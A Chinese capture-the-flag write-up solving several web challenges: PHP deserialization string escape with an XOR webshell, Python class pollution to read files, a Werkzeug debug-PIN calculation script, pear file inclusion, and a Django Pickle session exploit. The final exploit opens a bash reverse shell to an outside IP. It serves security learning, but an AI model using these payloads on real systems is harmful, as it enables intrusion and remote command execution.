复现环境
而后审计源码
这里的话是传入了两个参数,然后将其赋值到一个类中,进行了序列化同时用了b函数进行处理,看一下有关类的
这里可以看到能执行反序列化的只有pull_it
类中的@eval($this->x)
,因此我们需要控制的就是这个x
了,然后我们接下来看刚刚的b
函数是什么东西
可以发现是替换数据的,看到这个,结合反序列化,这里应该是反序列化逃逸了,不过是字符逃逸增加还是减少呢,我们看的是反序列化前的函数
这里发现是a
函数,因此是反序列化字符串逃逸减少类型的,接下来看一下如何构造,首先给它随便赋值
给它赋值为1和2,而后可得到数据
"O:7:"push_it":2:{s:13:"\000push_it\000root";s:1:"1";s:12:"\000push_it\000pwd";s:1:"2";}"
// \000这个是private变量序列化后自带的,其实就是个0,但在PHP中会把这认为是4个字母,所以需要改成0
"O:7:"push_it":2:{s:13:"0push_it0root";s:1:"1";s:12:"0push_it0pwd";s:1:"2";}"
";s:12:"0push_it0pwd";s:1:"2
这部分共28个字符,所以我们这里构造14个bbbbbb
即可实现逃逸,而后因为这里是两个变量,所以我们需要再自定义一个,因为剩下的还有";
,所以我们需要补到变量上去,也就是说pwd
开头必须是";s:6:"quan9i"
这种格式(字符串必须用双引号包裹),而后我们看执行命令的那个,我们这里需要构造无数字字母webshell
,在这里我构造好的system(ls)
,其异或结果是("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
,而后我们这里先对其进行URL解码,再对其进行序列化后进行URL编码,然后再将之前自定义的变量赋值给pwd
即可,构造Poc如下
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
function __destruct() {
if ($this->x) {
$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
if (eval($preg_match)) {
echo $preg_match;
exit("save_waf");
}
@eval($this->x);
}
}
}
class push_it {
private $root;
private $pwd;
function __construct($root, $pwd) {
$this->root = $root;
$this->pwd = $pwd;
}
function __destruct() {
unset($this->root);
unset($this->pwd);
}
function __toString() {
if (isset($this->root) && isset($this->pwd)) {
echo "<h1>Hello, $this->root</h1>";
}
else {
echo "<h1>out!</h1>";
}
}
}
$pop= new pull_it(urldecode('("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");'));
$pop= urlencode(serialize($pop));
echo '";s:6:"quan9i";'.$pop;
?>
得到";s:6:"quan9i";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A31%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%0C%08%22%5E%22%60%7B%22%29%3B%22%3B%7D
,此即为pwd
变量,接下来进行赋值
此时带着Cookie访问login.php
先不看源码,先来讲一下前置知识,这里开始的考察点为Python原型链污染,这里举个例子
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
我们通过__class__.__base__
可以修改父类属性
from utils import merge
class father:
secret = "haha"
class son_a(father):
pass
class son_b(father):
pass
instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "no way"
}
}
}
print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
#no way
接下来再看这道题,访问后得源码
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
明显的Python原型链污染,接下来进行污染即可
{
"username":"a",
"password":"b",
"check" : {
"__globals__" : {
"__file__":"secret.py"
}
}
}
发现过滤了几个关键字
读取flag发现没有
但出现了PIN码,尝试算PIN码实现RCE,这里我们需要知道PIN码生成的六个要素
pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id
对于用户名,我们这里可以读取/proc/self/status
,发现Uid
为0,说明是root用户
而后对于2和3无需更改,接下来第四个moddir flask
,我们在上面的报错中,可以看出是/usr/local/lib/python3.10/site-packages/flask/app.py
,接下来看第五个uuidnode mac
,读取/sys/class/net/eth0/address
,读取后得到4e:a8:f5:c0:49:db
,而后转为十进制
>>> int('4ea8f5c049db',16)
86487584491995
得到86487584491995
,接下来看最后一个machine_id
,它的话是在/usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py
文件中看get_machine_id()
函数来获取的,这里需要对__init__
进行绕过,使用Unicode编码即可
{
"username":"a",
"password":"b",
"check" : {
"__globals__" : {
"__file__":"/usr/local/lib/python3.10/site-packages/werkzeug/debug/__init\u005f_.py"
}
}
}
可以知道/etc/machine-id
和/proc/sys/kernel/random/boot_id
只要读取到其中一个就可以,然后继续拼接上/proc/self/cgroup
中以/
结尾的最后一部分即可,我们这里读取/etc/machine-id
获取到96cec10d3d9307792745ec3b85c89620
,读取/proc/self/cgroup
获取到docker-78749d687627348213d5c1e617c2ffa8b39183112e700935cf8ecaadb39c9855.scope
因此最后一部分值为96cec10d3d9307792745ec3b85c89620docker-78749d687627348213d5c1e617c2ffa8b39183112e700935cf8ecaadb39c9855.scope
接下来运行脚本
import hashlib
from itertools import chain
probably_public_bits = [
'root',
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'86487584491995',
'96cec10d3d9307792745ec3b85c89620docker-78749d687627348213d5c1e617c2ffa8b39183112e700935cf8ecaadb39c9855.scope'# get_machine_id(), /etc/machine-id /proc/sys/kernel/random/boot_id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
得到PIN码
访问console,输入PIN码
执行命令即得flag
进入后发现环境为XHCMS,之前审计过,知道有SQL注入,然后傻呆呆的查了半天,发现数据库里没藏flag,然后想起来文件包含漏洞,这里它还会拼接.php后缀
因此如果能够实现上传1.jpg,再用多个.....
来突破最大长度限制,实现后缀失效,继而使得文件变成1.php
,但发现不能上传文件
因此只能另想它法,后来想到文件包含中的pear文件包含可以RCE,因此进行了尝试,找了找默认路径,最后成功打入
而后访问文件,执行命令即可
给了附近,在settings.py
中发现
ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
PickleSerializer
联想到Pickle反序列化
Django反序列化在Python\Lib\site-packages\django\core\signing.py
,源码如下
def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
is_compressed = False
if compress:
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode()
if is_compressed:
base64d = '.' + base64d
return TimestampSigner(key, salt=salt).sign(base64d)
虽然要求是JSONSerializer,不过这里用pickle
也无妨
其具体位置在Python\Lib\site-packages\django\contrib\sessions\serializers.py
class PickleSerializer(object):
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
def dumps(self, obj):
return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)
def loads(self, data):
return pickle.loads(data)
最终Exp如下
# coding: utf-8
import pickle
import django.core.signing
import subprocess
import base64
class PickleSerializer(object):
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
def dumps(self, obj):
return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)
def loads(self, data):
return pickle.loads(data)
class CreateTmpFile(object):
def __reduce__(self):
import subprocess
return (subprocess.Popen,
(('bash -c "bash -i >& /dev/tcp/115.236.153.177/21698 <&1"',),-1,None,None,None,None,None,False, True))
scookie = django.core.signing.dumps(
obj=CreateTmpFile(),
key='p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn',
salt='django.contrib.sessions.backends.signed_cookies',
serializer=PickleSerializer)
print(scookie)
而后在登录处会用到session,因此在Cookie处给其赋值Sessionid即可